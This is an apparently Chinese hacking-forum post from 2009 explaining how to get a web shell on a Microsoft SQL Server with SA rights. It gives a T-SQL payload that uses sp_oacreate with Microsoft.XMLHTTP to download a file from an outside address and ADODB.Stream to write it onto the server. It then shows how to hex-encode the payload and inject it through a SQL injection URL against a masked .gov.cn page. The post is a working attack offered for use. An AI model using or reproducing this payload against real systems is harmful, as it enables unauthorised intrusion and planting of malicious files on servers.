xml.http 下载拿SHELL

xml&#46;http 下载拿SHELL </h1> <div id="property"> 2009-10-27 09:46:44  xueheike&#46;net  来源：<a href="" target="_blank">冰点极限&海阳顶端</a></div><!--引用地址--> 注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳。DECLARE @B varbinary(8000),@hr int,@http INT,@down INTEXEC sp_oacreate [Microsoft&#46;XMLHTTP],@http output ;EXEC @hr = sp_oametho &#46;&#46;&#46; 注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳。<BR>DECLARE <BR>@B varbinary(8000),<BR>@hr int,<BR>@http INT,<BR>@down INT<BR>EXEC sp_oacreate [Microsoft&#46;XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB&#46;Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--<BR>将以上代码修改后转化为十六进制。然后提交：<BR><A href="http://www&#46;XXXX&#46;gov&#46;cn/XXX/hdsq/XXXXfo&#46;jsp?ID=8">http://www&#46;XXXX&#46; ... fo&#46;jsp?ID=8</A> ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--</div>